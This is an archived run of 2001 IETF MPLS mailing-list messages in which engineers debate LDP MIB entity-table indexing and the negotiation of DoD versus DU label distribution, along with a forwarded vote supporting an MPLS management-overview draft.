Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllkp04014;
	Fri, 19 Oct 2001 13:51:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllkp14469
	for mpls-outgoing; Fri, 19 Oct 2001 13:51:19 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllkp14464
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 13:51:13 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllko20946
	for <mpls@uu.net>; Fri, 19 Oct 2001 13:43:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllko17176
	for <mpls@uu.net>; Fri, 19 Oct 2001 13:43:19 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA10864 for <mpls@uu.net>; Fri, 19 Oct 2001 09:43:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA02589 for mpls@uu.net; Fri, 19 Oct 2001 09:43:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllko13878
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 13:42:08 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllko00530
	for <mpls@UU.NET>; Fri, 19 Oct 2001 13:40:43 GMT
Received: from hawk.CrescentNetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hawk.crescentnetworks.com [66.105.92.144])
	id QQllko09231
	for <mpls@UU.NET>; Fri, 19 Oct 2001 13:40:34 GMT
Received: from crescentnetworks.com (jcucchiara.in.crescentnets.com [192.168.29.132])
	by hawk.CrescentNetworks.com (8.9.3/8.9.3) with ESMTP id JAA21679;
	Fri, 19 Oct 2001 09:39:51 -0400 (EDT)
Message-ID: <3BD02D94.BD334A42@crescentnetworks.com>
Date: Fri, 19 Oct 2001 09:41:40 -0400
From: Joan Cucchiara <jcucchia@CrescentNetworks.com>
Organization: Crescent Networks
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Vijayanand C - CTD, Chennai." <vijayc@ctd.hcltech.com>
CC: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>,
        Srinivas T M <srini_tm@yahoo.com>, mpls@UU.NET,
        jcucchiara@CrescentNetworks.com, jluciani@CrescentNetworks.com,
        hans@ipunplugged.com
Subject: Re: mplsLdpEntityTable
References: <D11B30C7348BD511A40700010283497B1EF23C@GAYATRI>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



"Vijayanand C - CTD, Chennai." wrote:
> 
> Hello,
> I like to add one more point to this.
> 
> If we have sessions through targetted peers then we need to configure an
> entity for each session. But why do we need a separate entity for each of
> the other sessions. At the time of bringing up LDP with an entity for basic
> discovery the number of peers are generally not known and it will be too
> much to expect the operator to know this. The peer discovery of LDP has to

I would expect an operator to have a plan to configure his/her network
and be able to expand as the network grows.  So I would expect
that an operator would configure label ranges and other info needed for
LDP for each LER/LSR with the entire network in mind. (just as I would
expect 
that they would have some plan in place for an IP based network, 
or an ATM based network, etc.) 

> discover the peers and establish sessions with them. If we need to have a
> one to one between entity and peer then in this case, after each peer is
> discovered by the entity a new entity needs to be established for handling
> the peer! To think of assigning a new LSRID for each Entity is misleading as
> LSRID was supposed to identify the LSR.  Instead, why can't one to many
> relationship between entity and peer-session be maintained. Each session can
> have different label distribution modes, depending on the negotiation with
> the peer. This will be possible because the session is indexed by local
> LSRID,Entity Index and Peer LSRID.  The original entity distribution modes
> can remain unaltered in the entity and used for further discovery and
> session initiation.
> 
> Please correct me if I am wrong

I think I mostly agree with what you state above, except you did not
discuss
the negotiation between entity and peer.  The entity and peer negotiate
to agree
on parameters and label range info upfront prior to sessions being
established.
Assuming that an operator plans what the label ranges and other info on
each LSR
in the network, then LDP sessions should be established when they are
needed.

 -Joan

> 
> Regards,
> Vijay
> 
> -----Original Message-----
> From: Tiruveedhula, Kishore [mailto:kishore@tenornetworks.com]
> Sent: Thursday, October 18, 2001 3:49 AM
> To: 'Joan Cucchiara'
> Cc: Srinivas T M; mpls@UU.NET; jcucchiara@crescentnetworks.com;
> jluciani@crescentnetworks.com; hans@ipunplugged.com
> Subject: RE: mplsLdpEntityTable
> 
> Hi Joan,
> 
> >>      The entry in the entity table is indexed by both mplsEntityLdpIds
> and
> >> mplsLdpEntityIndex.
> >>        Can't we create two entries with same mplsEntityLdpIds with
> different
> >> mplsLdpEntityIndex in the Entity Table to support both DOD and DU
> sessions
> >> using per platform label space on a LSR with same LSR id ?
> >>  mplsLdpEntityIndex  is used to uniquely identify row in the
> >> mplsLdpEntityTable. I think we can have two or more entries with same
> >> mplsEntityLdpIds with different mplsLdpEntityIndex. Is this correct ?
> 
> >This is not a viable solution to the problem --
> 
> Why this is not a viable solution to this problem ? Is there any specific
> reason ?
> 
> Even for each targeted peer configuration, one entry need to be created for
> each targeted peer in the entity table
> with same mplsEntityLdpIds with different mplsLdpEntityIndex in which
> session created by extended discovery method.
> 
> > you will still have only
> >one LSRID and that implies that one session will be capable of both
> >DOD and DU which is not possible with LDP.
> >
> >   Thanks, Joan
> 
> Thanks,
> Kishore
> 
> ***********************************************************************
> Disclaimer:
> This document is intended for transmission to the named recipient only.  If
> you are not that person, you should note that legal rights reside in this
> document and you are not authorized to access, read, disclose, copy, use or
> otherwise deal with it and any such actions are prohibited and may be
> unlawful. The views expressed in this document are not necessarily those of
> HCL Technologies Ltd. Notice is hereby given that no representation,
> contract or other binding obligation shall be created by this e-mail, which
> must be interpreted accordingly. Any representations, contractual rights or
> obligations shall be separately communicated in writing and signed in the
> original by a duly authorized officer of the relevant company.
> ***********************************************************************



From owner-mpls@UU.NET  Fri Oct 19 10:01:30 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19389
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 10:01:30 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllkp16811;
	Fri, 19 Oct 2001 13:59:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllkp14955
	for mpls-outgoing; Fri, 19 Oct 2001 13:59:34 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllkp14942
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 13:59:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllkp03979
	for <mpls@uu.net>; Fri, 19 Oct 2001 13:55:04 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllkp10646
	for <mpls@uu.net>; Fri, 19 Oct 2001 13:55:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA12436 for <mpls@uu.net>; Fri, 19 Oct 2001 09:55:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA03228 for mpls@uu.net; Fri, 19 Oct 2001 09:55:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllkp14643
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 13:54:08 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllkp22669
	for <mpls@UU.NET>; Fri, 19 Oct 2001 13:49:09 GMT
Received: from hawk.CrescentNetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hawk.crescentnetworks.com [66.105.92.144])
	id QQllkp26166
	for <mpls@UU.NET>; Fri, 19 Oct 2001 13:48:59 GMT
Received: from crescentnetworks.com (jcucchiara.in.crescentnets.com [192.168.29.132])
	by hawk.CrescentNetworks.com (8.9.3/8.9.3) with ESMTP id JAA00387;
	Fri, 19 Oct 2001 09:48:24 -0400 (EDT)
Message-ID: <3BD02F95.6A63233B@crescentnetworks.com>
Date: Fri, 19 Oct 2001 09:50:13 -0400
From: Joan Cucchiara <jcucchia@CrescentNetworks.com>
Organization: Crescent Networks
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>
CC: Srinivas T M <srini_tm@yahoo.com>, mpls@UU.NET,
        jcucchiara@CrescentNetworks.com, jluciani@CrescentNetworks.com,
        hans@ipunplugged.com
Subject: Re: mplsLdpEntityTable
References: <6B190B34070BD411ACA000B0D0214E56011B5258@newman.tenornet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



"Tiruveedhula, Kishore" wrote:
> 
> Hi Joan,
> 
> >>      The entry in the entity table is indexed by both mplsEntityLdpIds
> and
> >> mplsLdpEntityIndex.
> >>        Can't we create two entries with same mplsEntityLdpIds with
> different
> >> mplsLdpEntityIndex in the Entity Table to support both DOD and DU
> sessions
> >> using per platform label space on a LSR with same LSR id ?
> >>  mplsLdpEntityIndex  is used to uniquely identify row in the
> >> mplsLdpEntityTable. I think we can have two or more entries with same
> >> mplsEntityLdpIds with different mplsLdpEntityIndex. Is this correct ?
> 
> >This is not a viable solution to the problem --
> 
> Why this is not a viable solution to this problem ? Is there any specific
> reason ?

Hi Kishore,

Perhaps I am not fully understanding what you are trying to do.  The
first
email asked if you could have the per platform label range support both
DOD and DU -- I don't see how this is a viable solution, because LSR A
(entity)
needs to agree upfront with LSR B (peer) as to whether they will create
sessions
DOD or DU, so how could some session support one way, and some support
another way
and how would this be communicated between LSR A and LSR B?

> 
> Even for each targeted peer configuration, one entry need to be created for
> each targeted peer in the entity table
> with same mplsEntityLdpIds with different mplsLdpEntityIndex in which
> session created by extended discovery method.

The LdpId needs to be unique for an entity (i.e. LSR A).  The
EntityIndex was requested
by the working group for use with something like multi-link PPP.  It
does not mean that this
is a different entity (it means that the same entity needs a way to
differentiate something)
 -- if the LDP ID is the same, then it is the same entity.  An entity
negotiates with a peer
and this is when (according to LDP protocol) they agree on using DOD or
DU as well as the
label range, as well as other info.

  -Joan

> 
> > you will still have only
> >one LSRID and that implies that one session will be capable of both
> >DOD and DU which is not possible with LDP.
> >
> >   Thanks, Joan
> 
> Thanks,
> Kishore



From owner-mpls@UU.NET  Fri Oct 19 10:11:19 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19659
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 10:11:19 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllkq00356;
	Fri, 19 Oct 2001 14:07:20 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllkq01292
	for mpls-outgoing; Fri, 19 Oct 2001 14:06:40 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllkq01151
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 14:06:38 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllkq01832
	for <mpls@UU.NET>; Fri, 19 Oct 2001 14:06:01 GMT
Received: from tenornetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtu.tenornetworks.com [63.77.213.2])
	id QQllkq28808
	for <mpls@UU.NET>; Fri, 19 Oct 2001 14:05:51 GMT
Received: from tenornet.com (newman [192.168.0.185])
	by tenornetworks.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f9JE5w025873;
	Fri, 19 Oct 2001 10:05:58 -0400 (EDT)
Received: from 192.168.0.185
          by tenornet.com;
          FRI, 19 Oct 2001 10:06:18 -0700
Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21)
	id <404WPZ4N>; Fri, 19 Oct 2001 10:06:18 -0400
Message-ID: <6B190B34070BD411ACA000B0D0214E56011B525E@newman.tenornet.com>
From: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>
To: "'Joan Cucchiara'" <jcucchia@CrescentNetworks.com>,
        nagabhushana.ramaswamy@wipro.com
Cc: mpls@UU.NET
Subject: RE: targeted peer configuration in LDP...
Date: Fri, 19 Oct 2001 10:06:12 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Joan,

>> If not then to which of them? and what about the other one?
>> Also how do I configure more than one targeted peer for an entity through
>> the LDP MIB?

>I'm not clear on what you are trying to do.  Each Entity represented by
>a unique mplsLdpEntityLdpId
>has a relationship with a peer.  This entity is a way to set up for
>exchanging label range
>info and such with a peer.  At that point the peer and entity negotiate
>until they agree upon
>a label range and other info.  One entity can't exchange the same info
>with multiple peers.

>Once a label range is agreed to between an entity and peer, that label
>range should be deemed
>"in use".  

   Label Range is negotiated only for ATM and FR interfaces. 
All targeted peer configuration uses only platform label space.
In case of platform label space, all targeted entities have label space id
is zero.
So for each targeted entity is need to be differentiated by different LSR
ID, which is not good.
In this case, how can you differentiate different targeted entities using
platform label space ?

Thanks,
Kishore

>It would not be possible to use the same label ranges for the same LdpId
>over and over (even if
>you are talking to other peers).  That is why it's negotiated and agreed
>to prior to establishing
>sessions.

> -Joan

> 
> regards
> Bhushana



From owner-mpls@UU.NET  Fri Oct 19 10:41:51 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20348
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 10:41:51 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllks02072;
	Fri, 19 Oct 2001 14:38:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllks07382
	for mpls-outgoing; Fri, 19 Oct 2001 14:38:25 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllks07373
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 14:38:22 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllks21449
	for <mpls@UU.NET>; Fri, 19 Oct 2001 14:33:12 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: oe57.law10.hotmail.com [64.4.14.192])
	id QQllks03985
	for <mpls@UU.NET>; Fri, 19 Oct 2001 14:33:29 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 19 Oct 2001 07:33:11 -0700
X-Originating-IP: [12.34.209.74]
From: "Frank Hujber" <fhujber@hotmail.com>
To: "MPLS Group" <mpls@UU.NET>
Subject: Fw: draft-nadeau-mpls-mgmt-overview-00.txt
Date: Fri, 19 Oct 2001 10:33:02 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_009B_01C15889.6DF65AB0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Message-ID: <OE57UTrDnMRB36NLCK70000f23e@hotmail.com>
X-OriginalArrivalTime: 19 Oct 2001 14:33:11.0439 (UTC) FILETIME=[FA8E29F0:01C158AA]
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_009B_01C15889.6DF65AB0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Please allow me to cadt my small vote, also in favor of this draft.

Frank Hujber
Alphion Corporation
----- Original Message -----=20
From: Jonathan Lang=20
To: 'Thomas Nadeau' ; mpls@UU.NET=20
Cc: Wijnen, Bert (Bert) ; Scott Bradner ; Rob Coltun ; abha ahuja ; =
George Swallow ; Vijay Srinivasan ; swallow@cisco.com ; =
cheenu@alphion.com ; afarrel@movaz.com=20
Sent: Wednesday, October 17, 2001 3:21 PM
Subject: RE: draft-nadeau-mpls-mgmt-overview-00.txt


I think this is a good idea and I support this as an MPLS WG document.
=20
-Jonathan
  -----Original Message-----
  From: Thomas Nadeau [mailto:tnadeau@cisco.com]
  Sent: Wednesday, October 17, 2001 10:38 AM
  To: mpls@UU.NET
  Cc: Wijnen, Bert (Bert); Scott Bradner; Rob Coltun; abha ahuja; George =
Swallow; Vijay Srinivasan; swallow@cisco.com; cheenu@alphion.com; =
afarrel@movaz.com
  Subject: draft-nadeau-mpls-mgmt-overview-00.txt



          Hi,

          I would like to propose that =
draft-nadeau-mpls-mgmt-overview-00.txt
  be accepted as an MPLS WG draft. This draft was specifically
  asked for by Bert Wijnen, one of the ADs for MPLS, in an effort
  to consolidate the information about MPLS-related MIBs in one
  place.=20

          --Tom




  =
------------------------------------------------------------------------
  Mathematics is the supreme nostalgia of our time.=20

------=_NextPart_000_009B_01C15889.6DF65AB0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Please allow me to cadt my small vote, =
also in=20
favor of this draft.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Frank Hujber</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Alphion Corporation</FONT></DIV>
<DIV style=3D"FONT: 10pt arial">----- Original Message -----=20
<DIV style=3D"BACKGROUND: #e4e4e4; font-color: black"><B>From:</B> <A=20
href=3D"mailto:jplang@calient.net" title=3Djplang@calient.net>Jonathan =
Lang</A>=20
</DIV>
<DIV><B>To:</B> <A href=3D"mailto:tnadeau@cisco.com"=20
title=3Dtnadeau@cisco.com>'Thomas Nadeau'</A> ; <A =
href=3D"mailto:mpls@UU.NET"=20
title=3Dmpls@UU.NET>mpls@UU.NET</A> </DIV>
<DIV><B>Cc:</B> <A href=3D"mailto:bwijnen@lucent.com"=20
title=3Dbwijnen@lucent.com>Wijnen, Bert (Bert)</A> ; <A=20
href=3D"mailto:sob@harvard.edu" title=3Dsob@harvard.edu>Scott =
Bradner</A> ; <A=20
href=3D"mailto:rcoltun@redback.com" title=3Drcoltun@redback.com>Rob =
Coltun</A> ; <A=20
href=3D"mailto:ahuja@umich.edu" title=3Dahuja@umich.edu>abha ahuja</A> ; =
<A=20
href=3D"mailto:swallow@cisco.com" title=3Dswallow@cisco.com>George =
Swallow</A> ; <A=20
href=3D"mailto:vijay@cosinecom.com" title=3Dvijay@cosinecom.com>Vijay =
Srinivasan</A>=20
; <A href=3D"mailto:swallow@cisco.com"=20
title=3Dswallow@cisco.com>swallow@cisco.com</A> ; <A=20
href=3D"mailto:cheenu@alphion.com" =
title=3Dcheenu@alphion.com>cheenu@alphion.com</A>=20
; <A href=3D"mailto:afarrel@movaz.com"=20
title=3Dafarrel@movaz.com>afarrel@movaz.com</A> </DIV>
<DIV><B>Sent:</B> Wednesday, October 17, 2001 3:21 PM</DIV>
<DIV><B>Subject:</B> RE: =
draft-nadeau-mpls-mgmt-overview-00.txt</DIV></DIV>
<DIV><BR></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D577472119-17102001>I=20
think this is a good idea and I&nbsp;support this as an MPLS WG=20
document.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D577472119-17102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D577472119-17102001>-Jonathan</SPAN></FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau [<A=20
  =
href=3D"mailto:tnadeau@cisco.com">mailto:tnadeau@cisco.com</A>]<BR><B>Sen=
t:</B>=20
  Wednesday, October 17, 2001 10:38 AM<BR><B>To:</B> <A=20
  href=3D"mailto:mpls@UU.NET">mpls@UU.NET</A><BR><B>Cc:</B> Wijnen, Bert =
(Bert);=20
  Scott Bradner; Rob Coltun; abha ahuja; George Swallow; Vijay =
Srinivasan; <A=20
  href=3D"mailto:swallow@cisco.com">swallow@cisco.com</A>; <A=20
  href=3D"mailto:cheenu@alphion.com">cheenu@alphion.com</A>; <A=20
  =
href=3D"mailto:afarrel@movaz.com">afarrel@movaz.com</A><BR><B>Subject:</B=
>=20
  draft-nadeau-mpls-mgmt-overview-00.txt<BR><BR></DIV></FONT><FONT=20
  =
size=3D3><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-T=
AB>Hi,<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-=
TAB>I=20
  would like to propose that =
draft-nadeau-mpls-mgmt-overview-00.txt<BR>be=20
  accepted as an MPLS WG draft. This draft was specifically<BR>asked for =
by Bert=20
  Wijnen, one of the ADs for MPLS, in an effort<BR>to consolidate the=20
  information about MPLS-related MIBs in one<BR>place.=20
  =
<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>--=
Tom<BR></FONT><BR><BR><BR>
  =
<DIV>--------------------------------------------------------------------=
----</DIV>Mathematics=20
  is the supreme nostalgia of our time. </BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_009B_01C15889.6DF65AB0--


From owner-mpls@UU.NET  Fri Oct 19 11:09:24 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21039
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 11:09:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllku21155;
	Fri, 19 Oct 2001 15:06:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllku23074
	for mpls-outgoing; Fri, 19 Oct 2001 15:06:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllku22957
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 15:06:08 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllku15498
	for <mpls@UU.NET>; Fri, 19 Oct 2001 15:01:15 GMT
Received: from tenornetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtu.tenornetworks.com [63.77.213.2])
	id QQllku17231
	for <mpls@UU.NET>; Fri, 19 Oct 2001 15:01:06 GMT
Received: from tenornet.com (newman [192.168.0.185])
	by tenornetworks.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f9JF1A000470;
	Fri, 19 Oct 2001 11:01:10 -0400 (EDT)
Received: from 192.168.0.185
          by tenornet.com;
          FRI, 19 Oct 2001 11:01:21 -0700
Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21)
	id <404WPZ7C>; Fri, 19 Oct 2001 11:01:21 -0400
Message-ID: <6B190B34070BD411ACA000B0D0214E56011B525F@newman.tenornet.com>
From: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>
To: "'Joan Cucchiara'" <jcucchia@crescentnetworks.com>
Cc: mpls@UU.NET, jcucchiara@crescentnetworks.com,
        jluciani@crescentnetworks.com, hans@ipunplugged.com
Subject: RE: mplsLdpEntityTable
Date: Fri, 19 Oct 2001 11:01:11 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Joan,
      For example if LSR has 6 interfaces, in which all interfaces uses
platform label space and Generic Labels with one LSR ID and LSR supports 
both DOD and DU modes.
 
 Interfaces 1,2,3 are configured for DOD and interface 4,5,6 are configured
for DU.


                 /----- Session established through interface 1.  By
negotiation, this session can have DU.
                /
   entity 1----/------- Session established through interface 2. By
negotiation, this session can have DOD.
   (DOD)       \
   Platform     \------ Session established through interface 3. By
negotiation, this session can have DU.
   label space
   
   Even though, entity configured for DOD, some sessions can use DU after
negotiation. ( RFC 3036 section 3.5.3)

                 /----- Session established through interface 4.  By
negotiation, this session should use  DU. 
                /
   entity 2----/------- Session established through interface 5. By
negotiation, this session should use DU. 
    (DU)       \
  Platform      \------ Session established through interface 6. By
negotiation, this session should use DU. 
  Label Space

   As per RFC 3036 section 3.5.3,

         If one LSR proposes Downstream Unsolicited and the other
         proposes Downstream on Demand, the rules for resolving this
         difference is:

         -  If the session is for a label-controlled ATM link or a
            label-controlled Frame Relay link, then Downstream on Demand
            must be used.

         -  Otherwise, Downstream Unsolicited must be used.

  In the above entity 1 and 2 have same LSR ID and same Label Space ID zero.

In case of targeted peer configuration.
         
   entity 3---------- Session established by extended discovery for remote
peer A.
   (DU)       
   Platform     
   label space

  entity 4---------- Session established by extended discovery for remote
peer B.
   (DU)       
   Platform     
   label space

  entity 5---------- Session established by extended discovery for remote
peer C.
   (DU)       
   Platform     
   label space

In the above entity 4, 5 and 6 have same LSR ID and same Label Space ID
zero. Is it not possible ?

I think, to distinguish all above entities, EntityIndex can be used. If
EntityIndex can't be used, how to distinguish above all entities ?


Thanks,
Kishore



-----Original Message-----
From: Joan Cucchiara [mailto:jcucchia@crescentnetworks.com]
Sent: Friday, October 19, 2001 2:50 PM
To: Tiruveedhula, Kishore
Cc: Srinivas T M; mpls@UU.NET; jcucchiara@crescentnetworks.com;
jluciani@crescentnetworks.com; hans@ipunplugged.com
Subject: Re: mplsLdpEntityTable




"Tiruveedhula, Kishore" wrote:
> 
> Hi Joan,
> 
> >>      The entry in the entity table is indexed by both mplsEntityLdpIds
> and
> >> mplsLdpEntityIndex.
> >>        Can't we create two entries with same mplsEntityLdpIds with
> different
> >> mplsLdpEntityIndex in the Entity Table to support both DOD and DU
> sessions
> >> using per platform label space on a LSR with same LSR id ?
> >>  mplsLdpEntityIndex  is used to uniquely identify row in the
> >> mplsLdpEntityTable. I think we can have two or more entries with same
> >> mplsEntityLdpIds with different mplsLdpEntityIndex. Is this correct ?
> 
> >This is not a viable solution to the problem --
> 
> Why this is not a viable solution to this problem ? Is there any specific
> reason ?

Hi Kishore,

Perhaps I am not fully understanding what you are trying to do.  The
first
email asked if you could have the per platform label range support both
DOD and DU -- I don't see how this is a viable solution, because LSR A
(entity)
needs to agree upfront with LSR B (peer) as to whether they will create
sessions
DOD or DU, so how could some session support one way, and some support
another way
and how would this be communicated between LSR A and LSR B?

> 
> Even for each targeted peer configuration, one entry need to be created
for
